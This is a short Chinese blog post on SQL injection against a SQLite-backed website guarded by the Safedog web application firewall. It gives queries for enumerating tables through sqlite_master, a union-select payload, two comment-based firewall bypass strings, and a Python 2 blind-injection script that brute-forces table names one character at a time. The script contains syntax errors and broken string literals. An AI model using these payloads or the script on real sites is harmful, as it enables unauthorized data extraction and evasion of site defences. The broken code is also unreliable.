• Sqlite注入测试


    测试了一个网站是Sqlite数据库,还装有安全狗,绕过了防护,找到Payload,写了一个Python脚本来跑表,这里总结一下:

    取得sqlite数据库里所有的表名

    查询table,type 段是'table',name段是table的名字,

    so: select name from sqlite_master where type='table' order by name;

    查询一条记录:select name from sqlite_master where type='table' order by name limit 0,1 

    sqlite_version(*) 返回SQLite的版本

    与MySQL5.x类似的,Sqlite存在与information_schema类似的⼀一个表,默认并不显示,名为sqlite_master,表中的字段有type,name,tbl_name,rootpage,sql,⽐较有价值的是sql字段

    union select 1,sql,2,3 from sqlite_master

    绕过安全狗简单的两个方法:

    /*'+'*/   

    /**a*/

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import urllib
    import urllib2
    
    payloads = '0123456789@_.abcdefghijklmnopqrstuvwxyz'
    
    header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  } 
    values={}
    print 'Start to retrive user:'
    user= ''
    
    for i in range(1, 15):
        for payload in payloads
            values['fromCity']="xxx'/**a*/and/**a*/"+"substr((select name from sqlite_master where type='table' order by name limit 0,1),%s,1)='%s'--" %(i,str(payload))
            
            data = urllib.urlencode(values)
            url = "http://www.xxxx.com/xxxx.aspx"
            geturl = url+'?'+data
            request = urllib2.Request(geturl,headers=header)
            response = urllib2.urlopen(request,timeout=5)
    
            result=response.read()
            print '.',
            if result.count('HO1110')>0:
                user += payload
                print '
    
    [in progress]', user,
                break
                
    print '
    
    [Done]  user is %s' % user

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

    参考文章:

    PHP/Sqlite下常见漏洞浅析:http://www.2cto.com/Article/201410/342032.html

  • 相关阅读:
    bzoj3295
    bzoj1135
    [luoguP1328] 生活大爆炸版石头剪刀布(模拟)
    考后总结
    [luoguP1970] 花匠(DP)
    [POJ3463] Sightseeing(次短路 Heap + Dijkstra)
    [luoguP2885] [USACO07NOV]电话线Telephone Wire(DP + 贪心)
    [luoguP2709] 小B的询问(莫队)
    [luoguP1972] [SDOI2009]HH的项链(莫队 || 树状数组 || 主席树)
    [luoguP2617] Dynamic Ranking(树状数组 套 主席树 + 离散化)
  • 原文地址:https://www.cnblogs.com/xiaozi/p/5759406.html
Copyright © 2020-2023  润新知